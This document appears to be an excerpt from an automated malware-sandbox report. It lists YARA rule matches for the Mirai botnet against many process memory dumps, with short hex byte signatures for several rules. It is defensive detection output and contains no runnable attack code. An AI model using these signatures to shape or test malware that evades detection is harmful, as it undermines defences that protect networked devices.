7310.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7310.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7310.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7013.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7013.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7013.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7013.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7013.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7013.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7066.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7066.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7066.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7066.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7066.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7066.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6716.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6716.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6716.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6716.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6716.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6716.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6448.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6448.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6448.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6448.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6448.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6448.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7033.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7033.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7033.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7033.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7033.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7033.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6509.1.00000000ffa4d000.00000000ffa6e000.rw-.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7257.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7257.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7257.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7257.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7257.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7257.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6756.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6756.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6756.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6756.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6756.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6756.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6622.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6622.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6622.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6622.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6622.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6622.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6708.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6708.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6708.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6708.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6708.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6708.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6466.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6466.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6466.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6466.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6466.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6466.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6975.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6975.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6975.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6975.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6975.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6975.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6612.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6612.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6612.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6612.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6612.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6612.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6510.1.00000000ffa4d000.00000000ffa6e000.rw-.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6654.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6654.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6654.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6654.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6654.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6654.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6871.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6871.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6871.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6871.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6871.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6871.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6591.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6591.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6591.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6591.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6591.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6591.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6322.1.00000000ffa4d000.00000000ffa6e000.rw-.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7051.1.00000000ffa4d000.00000000ffa6e000.rw-.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7360.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7360.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7360.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7360.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7360.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7360.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6506.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6506.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6506.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6506.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6506.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6506.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6911.1.00000000ffa4d000.00000000ffa6e000.rw-.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6992.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6992.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6992.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6992.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6992.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6992.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6495.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6495.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6495.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6495.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6495.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6495.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7162.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7162.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7162.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7162.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7162.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7162.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7365.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7365.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7365.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7365.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7365.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7365.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6630.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6630.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6630.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6630.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6630.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6630.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6760.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6760.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6760.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6760.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6760.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6760.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7339.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7339.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7339.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7339.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7339.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7339.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6698.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6773.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6698.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6698.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6773.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6773.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6773.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6773.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6773.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6698.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6698.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6698.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6608.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6608.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6608.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6608.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6608.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
